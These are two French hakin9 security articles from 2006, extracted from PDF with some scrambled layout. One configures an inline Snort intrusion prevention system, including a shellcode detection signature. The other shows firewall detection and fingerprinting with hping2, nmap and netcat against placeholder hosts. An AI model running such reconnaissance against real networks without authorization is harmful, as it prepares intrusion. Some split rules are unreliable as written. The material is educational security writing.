unicode.map \
/etc/snort
À la fin, il faut modifier le fichier de
configuration principal snort.conf.
Listing 1. La configuration du noyau du système
Device Drivers
Networking support
Networking options
<*> 802.1d Ethernet Bridging
Network packet filtering (replaces ipchains)
<*> Bridged IP/ARP packets filtering
IP: Netfilter Configuration
<*> Userspace queueing via NETLINK
<*> IP tables support (required for filtering/masq/NAT)
Bridge: Netfilter Configuration
<*> Ethernet Bridge tables (ebtables) support
50
hakin9 Nº 1/2006
www.hakin9.org
Avant tout, vous ne disposez pas
encore de signatures d'attaques,
commentez donc toutes les lignes
ajoutant les fichiers de signatures
qui se trouvent à la fin du fichier et
qui ont la forme include $RULE _ PATH/
*.rules (le début de la ligne est précédé du caractère #). Changez aussi
la valeur de la variable définissant le
répertoire comprenant ces fichiers
de var RULE _ PATH ../rules en var
RULE _ PATH /etc/snort/rules.
Vérification des
signatures
Les règles d'attaques que l'on peut
télécharger à partir du site de Snort
sont divisées en trois groupes : les
signatures payables (subscription
rules), les signatures nécessitant
l'enregistrement (registration rules) et
les signatures universellement disponibles (unregistered rules). Vu que les
règles universellement disponibles ne
sont mises à jour qu'au moment de
l'édition de la version successive de
Snort et l'accès aux règles payables
doit être régulièrement acquitté – il est
préférable d'utiliser les règles disponibles après l'enregistrement.
Mais avant de télécharger et
d'installer les règles, testez tout ce
que vous avez réussi à construire
jusqu'alors. Vous créerez quelques
exemples de signature qui vous
permettront de connaître les possibilités de votre IPS. Pour cela, vous
exploiterez trois nouvelles types
de règles– disponibles uniquement
en version inline – définissant les
Construisez un système de prévention d'intrusions
actions entreprises par Snort au moment du lancement de la signature.
Ce sont :
•
•
•
drop – Snort enregistrera le fait
de l'apparition du paquet qui correspond à la signature et enverra
à l'iptables le signal de refus.
sdrop – le paquet sera refusé,
mais l'information sur ce fait ne
sera pas enregistrée.
reject – le paquet sera refusé
et enregistré et la connexion
interrompue (RST en cas du protocole TCP) ou le paquet ICMP
Port Unreachable sera envoyé
(en cas du protocole UDP).
Pour que les règles de type reject
soient capables de réinitialiser les
connexions, il faut ajouter au fichier de configuration l'option config
layer2resets, grâce à laquelle l'IPS
enverra les paquets de réinitialisation à partir des interfaces ne
possédant pas d'adresse IP. Par
défaut, l'adresse MAC source dans
ces paquets est l'adresse de la carte
réseau d'entrée, mais vous pouvez la
modifier au moyen de l'option config
layer2resets: 00:01:02:03:04:05.
La première signature se présente ainsi : drop tcp any any -> any
22 (classtype:attempted-user; msg:
22 Connection Initiated";).
C'est une règle très simple qui reconnaît, bloque et enregistre tous les
paquets TCP passant par l'IPS qui
sont destinés au port 22. En résultat, l'IPS empêchera l'établissement
des connexions aux serveurs SSH.
Le Listing 2 présente la notation
dans le journal d'évènements qui sera créée par Snort après avoir intercepté les paquets correspondant à la
signature. Comme vous pouvez voir,
c'est le paquet SYN qui commence
le processus d'établissement de la
connexion du protocole TCP.
La seconde règle : alert icmp
"Port
any
any
<>
any
attempted-user;
Request";
any
(classtype:
msg:"ICMP
icode:0;
Echo
itype:8;)
reconnaîtra et enregistrera tous
les paquets ICMP de type Echo
Request. Les fichiers journaux
de Snort contiendront la notation
Listing 2. La réaction de Snort à la première signature
[**] [1:0:0] Port 22 Connection Initiated [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
09/19-20:19:07.436667 192.168.0.2:1049 -> 193.219.28.2:22
TCP TTL:128 TOS:0x0 ID:702 IpLen:20 DgmLen:48 DF
******S* Seq: 0x29821EB9 Ack: 0x0 Win: 0xFAF0 TcpLen: 28
TCP Options (4) => MSS: 1460 NOP NOP SackOK
Listing 3. La réaction de Snort à la deuxième signature
[**] [1:0:0] ICMP Echo Request [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
09/19-20:12:57.194560 192.168.0.2 -> 212.76.32.1
ICMP TTL:128 TOS:0x0 ID:420 IpLen:20 DgmLen:60
Type:8 Code:0 ID:512
Seq:256 ECHO
Listing 4. La réaction de Snort à la troisième signature
[**] [1:0:0] DNS Request [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
09/19-20:21:12.989775 192.168.0.2:1041 -> 212.76.39.45:53
UDP TTL:128 TOS:0x0 ID:818 IpLen:20 DgmLen:59
Len: 31
similaire à celle présentée dans le
Listing 3.
La dernière signature de test est
la plus intéressante : alert udp any
any <> any 53 (classtype:attempteduser;
msg:"DNS
Request";
content:
Cette
règle détectera et enregistrera tous
les paquets UDP à destination du
port 53, c'est-à-dire du serveur DNS
qui contiennent la chaîne de caractères yahoo. Les paquets seront
laissés passés par l'IPS, mais le mot
yahoo sera changé en lycos. C'est le
champ replace dans la signature qui
en est responsable ; il définit en quoi
sera changé le contenu du champ
content.
En résultat, quand une requête
concernera
l'adresse
www.yahoo.com, le serveur DNS
répondra par l'adresse IP du serveur www.lycos.com, et les journaux
contiendront l'information présentée
dans le Listing 4. Cette propriété
de Snort inline est fort utile dans
la protection des systèmes honeypot, quand vous voulez que l'intrus
y pénètre, mais ne soit pas capables
d'effectuer une attaque efficace contre un ordinateur du réseau. Il suffit
de modifier dans le système IPS la
"yahoo";
replace:"lycos";).
www.hakin9.org
signature reconnaissant le shellcode
de façon affichée dans le Listing 5
et toutes les attaques qui lui ressemblent ne réussiront pas.
Toutes les règles ci-dessus
doivent être placées dans le répertoire /etc/snort/rules dans le
fichier test.rules, et à la fin du fichier
/etc/snort/snort.conf, ajoutez la ligne
include
$RULE _ PATH/test.rules.
Configurez l'iptables de façon à ce
que les paquets passent à travers
Snort et lancez ce dernier :
# iptables -P FORWARD DROP
# iptables -A FORWARD -j QUEUE
# snort -Q \
-c /etc/snort/snort.conf \
-l /var/log/snort -v
La dernière commande lance Snort
en mode inline (option -Q). La configuration est téléchargée à partir
du fichier /etc/snort/snort.conf (-c),
et les journaux sont sauvegardés
dans le répertoire /var/log/snort
(-l). Pendant les tests, servez-vous
aussi de l'option -v, grâce à laquelle
l'IPS fonctionne en mode information
et affiche beaucoup de messages
qui permettent de vous faire une
idée précise des erreurs commises.
hakin9 Nº 1/2006
51
Pratique
Listing 5. Une simple modification de la signature corrompra le
shellcode et empêchera l'attaque efficace
Avant la modification :
alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any §
(msg:"SHELLCODE Linux shellcode"; §
content:"|90 90 90 E8 C0 FF FF FF|/bin/sh"; §
reference:arachnids,343; classtype:shellcode-detect; sid:652; rev:9;)
Après la modification :
alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any §
(msg:"SHELLCODE Linux shellcode"; §
content:"|90 90 90 E8 C0 FF FF FF|/bin/sh"; §
replace:"|90 90 90 E8 C0 FF FF FF|/ben/sh"; §
reference:arachnids,343; classtype:shellcode-detect; sid:652; rev:9;)
Configuration
de l'iptables
Pour diriger les données envoyées via
le réseau vers un programme dans
l'espace utilisateur, vous avez utilisé la
commande iptables -A FORWARD -j
QUEUE qui embrasse le flux de données
entier. En résultat, tous les paquets
passant par l'IPS seront analysés.
Mais vous pouvez observer seulement
les connexions choisies. Par exemple,
si vous voulez que Snort n'effectue
la recherche que dans les paquets
envoyés vers les serveurs Web, vous
pouvez utiliser la commande iptables
-A FORWARD -p tcp --dport 80 -j
L'option -v sera remplacée par -D,
ainsi, Snort fonctionnera en tâche de
fond comme démon.
Installation des règles
officielles
Il est temps de munir votre système
de prévention d'attaques de signatures officielles des attaques. Vu que
vous allez vous servir des signatures disponibles pour les utilisateurs
enregistrés, vous devez créer un
compte utilisateur sur le site de
Snort. Une fois ce compte créé, vous
téléchargerez les signatures récentes, les déplacerez vers le répertoire
/etc/snort et les décompacterez.
L'action par défaut entreprise par
Snort pour toutes les règles consiste à enregistrer l'attaque détectée
(directive alert). Étant donné que
vous avez l'intention de bloquer ces
attaques, vous devez modifier toutes
les règles, en changeant l'action
alert en drop. Pour ce faire, tapez la
commande :
$ for f in `ls *.rules` ;\
do
sed s/^alert/drop/g \
$f > ${f}.new ; \
mv ${f}.new $f ; \
done
Il faut aussi corriger la partie finale
du fichier snort.conf de façon à ce
que les signatures soient chargées
lors du démarrage du programme
(on a commenté toutes les lignes
activant les fichiers de signature).
À la fin, vous lancez Snort :
52
hakin9 Nº 1/2006
QUEUE.
# snort -Q -D \
-c /etc/snort/snort.conf \
-l /var/log/snort
Mais il ne faut pas oublier que l'installation d'un nouveau système IPS
dans l'environnement réseau et
l'activation du blocage pour toutes
les règles n'est pas recommandée.
Tous les périphériques IDS/IPS doivent être ajustés à un réseau concret
pour éliminer de fausses alarmes qui
apparaissent toujours au début de
leur fonctionnement. Si vous forcez
le système à bloquer tout ce qui lui
paraît suspect sans lui apprendre
la spécificité de votre réseau, il se
peut qu'une partie des services ne
fonctionnent pas ou bien manifestent
des perturbations car l'IPS ne laissera passer que certains paquets.
Il est donc préférable de vérifier
comment les procédures réagissent
au trafic typique de votre réseau en
enregistrant les attaques détectées
et exclure ces règles qui suscitent de
fausses alarmes. C'est à ce moment
qu'on peut permettre au périphérique
de bloquer les attaques.
Mises à jour
automatiques
Chaque système IDS/IPS, même s'il
utilise les règles récentes, devient
très vite inactuel. De nouveaux dangers apparaissent aussi rapidement
que les systèmes typiques – pour
rester efficaces – doivent être régulièrement mis à jour. Les mises à jour
manuelles sont assez fastidieuses,
www.hakin9.org
essayez donc de les automatiser à
l'aide de l'outil Oinkmaster version
1.2. Pour cela, outre le programme
en tant que tel, vous aurez besoin de
ce qu'on appelle OinkCode qui vous
permettra d'accéder aux règles destinées aux utilisateurs enregistrés de
Snort. Vous pouvez générer le code
après vous être logués sur votre
compte sur le site de Snort.
Oinkmaster est un script en Perl,
donc son installation est assez simple :
$ tar zxvf oinkmaster-1.2.tar.gz
$ cd oinkmaster-1.2
# cp oinkmaster.pl /usr/local/bin/
# cp oinkmaster.conf /etc/
La configuration qui consiste à
éditer le fichier oinkmaster.conf ne
doit pas poser de problème. Tout
d'abord, il faut décider quelles signatures l'on veut télécharger. Vu
que vous tenez aux règles les plus
récentes, vous modifierez donc la
ligne # url = http://www.snort.org/
pub-bin/oinkmaster.cgi/<oinkcode>/
snortrules-snapshot-CURRENT.tar.gz
de façon à ôter le caractère # du début
de la ligne, et au lieu de <oinkcode>,
saisissez le code généré par vous
à l'aide du script du site de Snort.
Si vous laissez la configuration
de l'Oinkmaster comme ça, de
nouvelles signatures auront une
forme standard, c'est-à-dire, elles
informeront sur les attaques détec-
Construisez un système de prévention d'intrusions
la signature>).
C'est très utile quand
votre IPS est bien ajusté et vous ne
voulez pas que la mise à jour des
signatures compromette tout, par
exemple active les règles que vous
avez décidé à désactiver.
Le programme est démarré par la
commande :
À propos de l'auteur
Michał Piotrowski, titulaire de la maîtrise d'informatique, a plusieurs d'années d'expérience dans l'administration des réseaux et des systèmes. Pendant plus de trois
années, il travaillait comme inspecteur de sécurité dans une institution supportant
l'autorité de certification supérieure dans l'infrastructure polonaise de PKI. Actuellement, il est spécialiste en sécurité téléinformatique dans l'une des plus grandes
institutions financières en Pologne. Dans ses moments libres, il s'occupe de la programmation et de la cryptographie.
# oinkmaster.pl
-o /etc/snort/rules/
Sur Internet
•
•
•
•
•
http://www.snort.org – le site du projet Snort,
http://bridge.sourceforge.net – le site du jeu d'outils bridge-utils,
http://www.netfilter.org – le site du projet netfilter et du programme iptables,
http://www.packetfactory.net/libnet/ – le site de la bibliothèque libnet,
http://oinkmaster.sourceforge.net/ – le site du programme Oinkmaster.
tées. Quant à vous, vous voulez
que les attaques soient bloquées,
vous devez donc ajouter au fichier
oinkmaster.conf une notation grâce
à laquelle toutes les règles téléchargées seront modifiées par le chanP
U
gement de l'action standard alert en
drop : modifysid * "^alert" | "drop".
De la même manière, vous pouvez
déterminer dans le programme quelles règles seront désactivées par
défaut (directive disablesid <n° de
B
L
www.hakin9.org
I
C
I
où le paramètre -o définit le répertoire avec de nouvelles règles. Le
paramètre -b est aussi très utile car
il indique le répertoire dans lequel
les fichiers de signatures précédents seront déplacés. Pour que
tout fonctionne correctement, après
chaque mise à jour des règles, Snort
doit être rechargé. Alors, la dernière
chose à faire est de créer un simple
script qui automatisera tout le processus et l'ajouter à /etc/crontab ou
à un fichier d'un autre gestionnaire
de tâches. l
T
É
hakin9 Nº 1/2006
53
Tours de passe-passe pour
pare-feux
Fiche technique
Oliver Karow
Degré de difficulté
On croit souvent que les pare-feux assurent une protection
absolue des réseaux contre la plupart des accès non autorisés.
Or les pare-feux ont aussi leurs faiblesses et exploiter une
mauvaise configuration ou une faiblesse du produit lui-même
pour contourner la protection est possible. Dans cet article,
nous examinerons comment un intrus peut s'immiscer dans un
système en abusant un pare-feu.
P
rotéger un réseau contre les attaques
et les accès non autorisés depuis
des réseaux non sécurisés comme
Internet fait partie des exigences les plus
fondamentales que doivent satisfaire les
infrastructures informatiques d'aujourd'hui.
C'est dans ce cadre que les pare-feux entrent en jeu. La mission première d'un parefeu est d'isoler des réseaux et de décider
si des paquets peuvent passer d'un réseau
à l'autre. Il existe différents types de parefeu, qui adoptent des démarches différentes
pour satisfaire cette mission fondamentale.
Les deux types de pare-feu les plus courants
sont les systèmes à filtrage de paquets et les
systèmes du niveau applicatif (voir l'Encadré
Principes de base des pare-feux).
De quelque type qu'il soit, un pare-feu
fondera ses décisions d'autoriser ou non un
paquet à atteindre sa destination sur une
base ou l'autre. Cette base, qui constitue
le socle de la politique de sécurité mise en
œuvre au niveau du pare-feu, prend la forme
de listes d'accès ou de règles de filtrage.
Examinons à présent quels sont les possibilités de contourner cette politique en exploitant des règles de filtrage inappropriées,
54
hakin9 Nº 1/2006
les faiblesses des protocoles standards ou
les limitations inhérentes aux différents types
de pare-feux.
Détecter les pare-feux
Avant d'attaquer un système derrière un parefeu, un intrus doit commencer par vérifier si un
pare-feu est bel et bien présent. Ce n'est pas
aussi évident qu'il n'y paraît dans la mesure
où il est fréquent que les administrateurs de
pare-feux utilisent diverses techniques pour
empêcher la détection des pare-feux. Toute-
Cet article explique...
•
•
•
comment les pare-feux fonctionnent,
comment un pare-feu peut être détecté,
comment un pare-feu peut être abusé en
exploitant une mauvaise configuration ou les
faiblesses des solutions de pare-feu.
Ce qu'il faut savoir...
•
•
www.hakin9.org
vous devez être familiarisé avec TCP/IPv4,
vous devez connaître le modèle de référence
ISO/OSI.
Tromper les pare-feux
Principes de base des pare-feux
De manière générale, un pare-feu est un système qui intégre plusieurs interfaces
avec des réseaux différents et qui est doté d'un mécanisme de filtrage autorisant ou
bloquant le trafic entre ces réseaux. On peut classer les pare-feux en fonction de la
couche TCP/IP utilisée pour l'analyse et l'autorisation ou le refus de transfert des paquets :
Systèmes à filtrage de paquets
Les systèmes à filtrage de paquets analysent les paquets au niveau Réseau (couche 3)
et Transport (couche 4) du modèle ISO/OSI. Dans ce cas, la décision de filtrage des
paquets repose principalement sur les critères suivants :
•
•
•
•
•
•
protocole (ICMP, OSPF, AH, ESP, etc.),
adresse IP source,
adresse IP de destination,
port source,
port de destination,
drapeaux TCP (SYN, ACK, RST, FIN, etc.).
Systèmes à filtrage dynamique/avec état
Un système à filtrage de paquets avec état (stateful) offre une protection plus large
qu'un pare-feu à simple filtrage de paquets car il exécute un suivi pour chaque connexion et conserve les données dans des tables d'état internes. Quand un paquet
sortant passe le filtre de paquets (et démarre une connexion), les ports et adresses IP
correspondants aux paquets de réponse sont ouverts pour la durée de la connexion
puis fermés.
En outre, certains systèmes à filtrage avec état sont capables d'ouvrir des ports
ou de l'adresse IP de manière dynamique dès lors qu'un client et un serveur ont négocié un nouveau port dans le cadre d'une connexion autorisée. Certains services, par
exemple Oracle et Portmapper, utilisent cette caractéristique.
Pare-feux à filtrage applicatif
Les pare-feux de niveau applicatif sont capables d'analyser les paquets jusqu'à la couche Application du modèle ISO/OSI. À la capacité d'un système à filtrage dynamique/
avec état des paquets, ils ajoutent celle de l'inspection du contenu même des paquets.
En d'autres termes, alors qu'un système à filtrage de paquets peut uniquement fonder
ses décisions sur les données d'en-tête des paquets, un pare-feu à filtrage applicatif
peut, lui, examiner les données spécifiques aux applications. C'est ainsi que ce type
de pare-feux peut, par exemple, autoriser les communications HTTP sur le port 80/
TCP tout en bloquant les requêtes comportant des commandes telles que CONNECT ou
DELETE.
Les pare-feux à filtrage applicatif ont besoin d'un service de proxy spécifique pour
chaque protocole qui doit franchir le pare-feu. Comme un service de proxy n'est pas
toujours disponible, la plupart des fournisseurs de pare-feux implémentent en outre
dans leur solution des capacités de filtrage de paquets ainsi que des services de proxy
génériques sans analyse de protocole.
Pare-feux hybrides et de couche de niveau 2
De nombreux fournisseurs de pare-feux recourent à une technologie hybride afin de
tirer parti des avantages de chaque type de pare-feu. Cela signifie que leurs solutions
proposent tant des fonctions de filtrage de paquets avec état que des fonctions de
filtrage applicatif. On trouve aussi sur le marché des pare-feux agissant au niveau de
la couche 2. Moins populaires que les pare-feux à filtrage de paquets ou applicatifs,
ils sont principalement utilisés au niveau de l'interface (cela dépend du fournisseur de
la solution).
fois, comme un pare-feu peut piéger
les résultats d'une attaque, il est
important d'en vérifier l'existence.
Commençons par voir quelques techniques de détection des pare-feux.
Traceroute
On utilise la méthode traceroute pour
identifier les routeurs qui acheminent
les paquets vers leur destination
finale. Si un pare-feu est en place,
www.hakin9.org
il est possible qu'il réponde à un paquet traceroute.
Cette méthode étant très ancienne, la plupart des pare-feux
bloqueront ces paquets. Cependant,
le mode opératoire de traceroute
n'étant pas toujours correctement
compris, il est des cas où les intrus
réussiront à passer au travers d'un
pare-feu.
Le Listing 1 présente la sortie
d'une commande traceroute bloquée
par un pare-feu. On constate que
la commande traceroute fonctionne
jusqu'au moment où elle atteint
le système dont l'adresse IP est
10.4.4.254. Quelque chose bloque
ensuite la tentative de détermination
des routeurs par traceroute.
Essayons de comprendre le
mode opératoire de traceroute (voir
aussi la Figure 1). Pour déterminer
le chemin emprunté par un paquet
IP, la valeur du champ TTL (durée
de vie) de l'en-tête IP du paquet est
diminuée d'une unité chaque fois
que le paquet atteint un routeur.
Si un routeur reçoit un paquet IP
dont la valeur TTL est 2, il diminue
cette valeur de 1. Si la valeur résultante est égale ou supérieure à 1, le
routeur transmet le paquet au routeur suivant (en se basant sur les
données de routage). Par contre,
quand un routeur reçoit un paquet
dont la valeur TTL est 1 et qu'il la
diminue d'une unité de sorte que
la valeur qui en résulte est zéro,
au lieu d'expédier le paquet vers
le routeur suivant, il envoie une
notification à l'émetteur du paquet
pour l'avertir que ce dernier a été
éliminé durant son acheminement
vers la destination finale.
Traceroute commence par envoyer un paquet avec une valeur TTL
de 1. Il reçoit une notification ICMP
d'expiration TTL du premier routeur.
traceroute passe alors la valeur TTL
à 2 pour franchir le premier routeur
et recevoir une nouvelle notification
d'expiration TTL du routeur suivant.
Il répète l'opération jusqu'à ce que le
paquet arrive à destination. Comme
chaque routeur envoie une notification (à condition de ne pas avoir été
configuré pour un comportement
hakin9 Nº 1/2006
55
Fiche technique
Listing 1. Blocage de traceroute par un pare-feu
# traceroute www.dummycompany.de
traceroute to www.dummycompany.de (10.10.10.10), 30 hops max, 40 byte packets
1 10.255.255.254
0.373 ms 0.203 ms 0.215 ms
(...)
10 router.company1.de (10.1.1.254) 88.080 ms 88.319 ms 87.921 ms
11 router.company2.de (10.2.2.254) 87.881 ms 89.541 ms 88.081 ms
12 router.company3.de (10.3.3.254) 86.749 ms 86.919 ms 86.734 ms
13 router.company4.de (10.4.4.254) 87.216 ms 87.312 ms 87.307 ms
14 * * *
Figure 1. Fonctionnement de traceroute
Listing 2. Utilisation de la méthode traceroute de paquet TCP avec
hping2
# hping2 -T -t 1 -S -p 80 www.dummycompany.de
HPING www.dummycompany.de (eth0 10.10.10.10 ): S set, §
40 headers + 0 data bytes
hop=1 TTL 0 during transit from ip=10.255.255.254 name=UNKNOWN
hop=1 hoprtt=12.4 ms
(...)
hop=10 TTL 0 during transit from ip=10.1.1.254 name=router.company1.de
hop=11 TTL 0 during transit from ip=10.2.2.254 name=router.company2.de
hop=12 TTL 0 during transit from ip=10.3.3.254 name=router.company3.de
hop=13 TTL 0 during transit from ip=10.4.4.254 name=router.company4.de
hop=14 TTL 0 during transit from ip=10.5.5.254 name=UNKNOWN
len=46 ip=10.10.10.10 flags=SA DF seq=15 ttl=107 id=12852 win=29200 rtt=95.6 ms
len=46 ip=10.10.10.10 flags=R DF seq=15 ttl=107 id=12856 win=0 rtt=194.6 ms
Listing 3. Envoi d'un paquet à un port fermé
# hping2 -S -p 99 -c 1 www.dontexist.com
HPING www.dontexist.com (eth0 192.168.10.10): S set,
40 headers + 0 data bytes
ICMP Packet filtered from ip=192.168.9.254
différent), traceroute peut dresser
la liste des routeurs empruntés pour
acheminer un paquet.
Il est important de savoir que
deux implémentations de traceroute existent. La première utilise des
56
hakin9 Nº 1/2006
§
paquets ICMP echo request (par
exemple, les implémentations Windows de traceroute), la seconde
des paquets UDP (par exemple, la
plupart des implémentations *NIX).
L'une et l'autre reposent sur le mé-
www.hakin9.org
canisme TTL. Par conséquent, un
administrateur d'un pare-feu devra
veiller à filtrer les deux implémentations de traceroute.
Traceroute avec paquet TCP
Dès lors que le champ TTL est un
des champs d'en-tête IP et que les
filtres traceroute ordinaires bloquent uniquement les paquets UDP
et ICMP, un moyen simple de tenter
de contourner le filtrage est d'utiliser un paquet TCP plutôt qu'un
paquet UDP ou ICMP. Tentons
à nouveau de déterminer le chemin
vers notre serveur de destination
avec traceroute. Cette fois-ci, nous
utiliserons l'outil hping2, qui permet
d'envoyer des paquets forgés (voir
le Listing 2). On constate qu'un
saut de routeur supplémentaire
a été identifié. Alors qu'avec la
commande traceroute, nous étions
bloqués après le 13 ème routeur,
hping2 nous a permis d'aller un pas
plus loin.
Analyse des paquets
de réponse
Pour vérifier la présence d'un parefeu, il est intéressant de comparer
les paquets de réponse des ports
ouverts avec ceux des ports fermés. Voici quelques astuces qui
peuvent révéler la présence d'un
pare-feu.
Nous commençons par utiliser
hping2 pour envoyer un paquet à un
port de notre destination que nous
savons ou supposons fermé (voir
le Listing 3). Parallèlement, nous
écoutons le trafic réseau avec
tcpdump (voir le Listing 4). On constate la présence d'un message ICMP
destination unreachable (destination
non joignable) assorti d'un message
admin prohibited filter (filtre d'interdiction admin) provenant de l'adresse
192.168.9.254. Ce message nous indique que l'accès au port 99/TCP sur
le système cible est filtré au moyen
d'une liste d'accès du routeur. Il s'agit
là d'une indication évidente de la présence d'un pare-feu et nous allons
à présent nous intéresser à une
autre méthode, fondée sur l'analyse
des valeurs TTL.
Tromper les pare-feux
Différences de durée de vie
(TTL)
On sait que chaque fois qu'un paquet
IP franchit un routeur, sa valeur TTL
est diminuée de un. Par conséquent,
si un serveur est protégé par un
pare-feu installé sur un système
dédié, les paquets provenant du
serveur devraient avoir une valeur
TTL différente de ceux provenant du
pare-feu.
Toute la difficulté est d'obtenir un
paquet de réponse des deux systèmes, le serveur et le pare-feu éventuellement présent, et de comparer
les valeurs TTL de leurs paquets.
Si cette valeur est différente, il est
vraisemblable qu'un pare-feu est
présent.
Pour forcer les deux systèmes
à répondre, nous pouvons envoyer
un paquet à un port ouvert et un
autre à un port fermé du système
cible, par exemple le port 80/TCP
qui est ouvert et le port 98/TCP
qui est fermé (voir le Listing 5). On
observe une différence d'une unité
entre les deux valeurs TTL. Cette
différence nous indique qu'un système de pare-feu protège le serveur cible.
Identifier le type
de pare-feu
Les méthodes abordées ci-dessus
nous aident à détecter la présence
d'un pare-feu. Si nous pouvons
identifier l'adresse IP du pare-feu,
nous avons à notre disposition des
moyens supplémentaires pour collecter davantage d'informations, par
exemple le produit utilisé comme
pare-feu ainsi que le système d'exploitation.
Relevé d'empreinte TCP
Nous allons exploiter le fait que
chaque pile IP d'un système d'exploitation présente des caractéristiques uniques pour déterminer
le type et la version du système
d'exploitation. Comme la plupart
des applications de pare-feu influencent le comportement de la
pile IP, il est aussi souvent possible
de déterminer le type et la version
du pare-feu installé. Un outil idéal
Listing 4. Surveillance du trafic réseau
# tcpdump -i eth0 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
12:59:18.778417 IP 172.16.1.1.1866 > 192.168.10.10.99: §
S 1958445360:1958445360(0) win 512
12:59:18.786914 IP 192.168.9.254 > 172.16.1.1 icmp 36: §
host 192.168.10.10 unreachable - admin prohibited filter
Listing 5. Comparaison des valeurs TTL
# hping2 -S -p 80 -c 1 www.randomname.com
HPING www.randomname.com (eth0 192.100.100.10): §
S set, 40 headers + 0 data bytes
len=46 ip=192.100.100.10 flags=SA DF seq=0 ttl=55 id=0 win=5840 rtt=7.6 ms
# hping2 -S -p 99 -c 1 www.randomname.com
HPING www.randomname.com (eth0 192.100.100.10): §
S set, 40 headers + 0 data bytes
len=46 ip=192.100.100.10 flags=RA DF seq=0 ttl=56 id=0 win=0 rtt=7.6 ms
Listing 6. Relever l'empreinte de l'OS et du pare-feu avec nmap
# nmap -sS -F -n -O -p 80,99,443 192.168.190.1
Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) §
at 2005-10-09 17:23 CEST
Interesting ports on 192.168.190.1:
PORT
STATE SERVICE
80/tcp open http
99/tcp closed metagram
443/tcp open https
Device type: firewall|broadband router|general purpose
Running: Checkpoint Solaris 8, Belkin embedded, Sun Solaris 8
OS details: Checkpoint Firewall-1 NG on Sun Solaris 8, §
Belkin DSL/Cable Router, Sun Solaris 8, Sun Trusted Solaris 8
à cette fin est nmap et sa capacité
intégrée de détection d'OS (voir le
Listing 6). Il ne nous a pas fallu
scanner plus de trois ports pour
arriver à déterminer qu'il s'agit probablement d'un pare-feu Firewall-1
NG de Checkpoint exécuté sur un
système d'exploitation Solaris.
Intéressons-nous à présent un
autre pare-feu (voir le Listing 7) :
il s'agira cette fois d'un Symantec
Enterprise Firewall. On constate
que nmap n'a réussi à identifier
ni le système d'exploitation ni le
produit de pare-feu. Toutefois, le
grand nombre de ports ouverts
suggère qu'il pourrait s'agir d'un
pare-feu de type proxy, or il n'existe
que peu de fournisseurs de ce type
de produits.
Ceci nous amène à nous pencher, au-delà du relevé d'empreinte
avec nmap, sur les ports communs
www.hakin9.org
de différents produits de pare-feu
disponibles sur le marché. Par
exemple, le pare-feu Symantec
Enterprise Firewall (SEF) réserve
deux ports à un usage spécifique,
à savoir 2456/TCP pour l'administration via le web et 888/TCP pour
l'authentification hors bande (Out
of Band, OOB). Si l'on compare les
résultats du scan avec les données
du Tableau 1, nous franchissons
une étape supplémentaire dans
l'identification du produit de parefeu. Cela étant, quand il est bien
configuré, un pare-feu applicatif
tel que SEF ne devrait pas compter
un nombre aussi élevé de ports
ouverts du côté extérieur. Dans
le cas d'un pare-feu CheckPoint 1
Firewall, il existe aussi des ports
ouverts spécifiques qui facilitent
l'identification du produit. Ce sont,
par exemple, les ports d'adminis-
hakin9 Nº 1/2006
57
Fiche technique
Listing 7. Relever l'empreinte d'un pare-feu Symantec Enterprise
Firewall
Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) §
at 2005-10-10 13:43 CEST
Interesting ports on 192.168.99.1:
(The 1193 ports scanned but not shown below are in state: closed)
PORT
STATE
SERVICE
21/tcp
open
ftp
22/tcp
open
ssh
23/tcp
open
telnet
25/tcp
open
smtp
53/tcp
open
domain
80/tcp
open
http
119/tcp open
nntp
139/tcp open
netbios-ssn
443/tcp open
https
481/tcp open
dvs
512/tcp open
exec
513/tcp open
login
514/tcp open
shell
554/tcp open
rtsp
1720/tcp open
H.323/Q.931
2456/tcp open
unknown
5631/tcp open
pcanywheredata
7070/tcp open
realserver
No exact OS matches for host (If you know what OS is running §
on it, see http://www.insecure.org/cgi-bin/nmap-submit.cgi).
Tableau 1. Ports ouverts facilitant l'identification du type de pare-feu
Produit
N° de port
Fonction
Symantec Enterprise
Firewall
888/TCP
Démon OOB
Symantec Enterprise
Firewall
2456/TCP
Administration via le
web
CheckPoint FW1-NG
256/TCP
Gestion
CheckPoint FW1-NG
257/TCP
FW1_log
CheckPoint FW1-NG
18181/TCP
Protocole CVP d'OPSEC
CheckPoint FW1-NG
18190/TCP
Interface de gestion
Listing 8. Vérification de bannière
#
>
<
<
<
<
<
<
<
<
netcat www.raptorfirewall.nix 80
HEAD / HTTP/1.0
HTTP/1.1 503 Service Unavailable
MIME-Version: 1.0
Server: Simple, Secure Web Server 1.1
Date: Fri, 17 Sep 2004 19:08:35 GMT
Connection: close
Content-Type: text/html
<HTML>
<HEAD><TITLE>Firewall Error: Service Unavailable</TITLE></HEAD>
tration compris dans la plage 256
à 264/TCP et 18180-18265/TCP.
Notez que nmap n'est pas le
seul outil disponible pour un relevé
d'empreinte de pare-feu. D'autres
58
hakin9 Nº 1/2006
outils, par exemple xprobe ou p0f
peuvent aussi être utilisés à cette
fin. Vous trouverez davantage d'informations sur les méthodes de
relevé d'empreintes dans l'article
www.hakin9.org
OS fingerprinting – comment ne pas
se laisser reconnaître publié dans le
n° 4/2004 d'hakin9.
Vérification de bannière
Afin d'être certain d'identifier correctement le produit de pare-feu
concerné, nous pouvons mettre
à contribution la technique de
vérification de bannière afin de
disposer d'informations supplémentaires. Par exemple, la sortie
d'un démon HTTP d'un pare-feu
Symantec Enterprise Firewall peut
être facilement identifiée en raison
de la présence de la chaîne Server:
Simple, Secure Web Server 1.1
(voir le Listing 8).
Toutefois, il ne faut pas prendre les sorties de bannières pour
argent comptant car elles peuvent
être modifiées pour la plupart des
démons. Cela étant, conjuguée
à l'empreinte TCP et aux numéros
de ports ouverts, la vérification de
bannière peut nous servir d'indice
supplémentaire dans l'identification
du produit utilisé comme pare-feu.
Contourner
les pare-feux
Une fois qu'un intrus a détecté la
présence d'un pare-feu et en a identifié le type, il dispose de plusieurs
possibilités pour abuser et franchir
le pare-feu. Jetons un coup d’œil
sur des méthodes qui exploitent une
configuration incorrecte des listes
